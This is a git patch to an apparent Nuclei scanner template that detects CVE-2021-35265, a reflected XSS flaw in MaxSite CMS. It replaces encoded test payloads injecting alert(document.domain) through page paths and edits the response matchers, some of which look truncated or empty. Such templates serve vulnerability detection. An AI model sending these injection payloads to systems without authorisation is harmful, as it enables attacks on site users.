From d3c6985d3ebf87fc40c4173797c76c4040cff79c Mon Sep 17 00:00:00 2001 From: Prince Chaddha Date: Thu, 16 Sep 2021 22:31:41 +0530 Subject: [PATCH] Update CVE-2021-35265.yaml --- cves/2021/CVE-2021-35265.yaml | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/cves/2021/CVE-2021-35265.yaml b/cves/2021/CVE-2021-35265.yaml index bbdb198b8a..a90ef3066c 100644 --- a/cves/2021/CVE-2021-35265.yaml +++ b/cves/2021/CVE-2021-35265.yaml @@ -4,7 +4,7 @@ info: name: MaxSite CMS XSS author: pikpikcu severity: medium - description: reflected cross-site scripting (XSS) vulnerability in MaxSite CMS before V106 via product/page/* allows remote attackers to inject arbitrary web script to a page. + description: Reflected cross-site scripting (XSS) vulnerability in MaxSite CMS before V106 via product/page/* allows remote attackers to inject arbitrary web script to a page. reference: - https://github.com/maxsite/cms/issues/414#issue-726249183 - https://nvd.nist.gov/vuln/detail/CVE-2021-35265 @@ -13,21 +13,21 @@ info: requests: - method: GET path: - - '{{BaseURL}}/page/hello/1%22%3E%3Csvg/onload=alert(document.domain)%3E' - - '{{BaseURL}}/maxsite/page/hello/1%22%3E%3Csvg/onload=alert(document.domain)%3E' + - '{{BaseURL}}/page/1%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' + - '{{BaseURL}}/maxsite/page/1%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' matchers-condition: and matchers: - type: word words: - - '">' + - '' part: body - type: word - words: - - 'Content-Type: text/html' part: header + words: + - text/html - type: status status: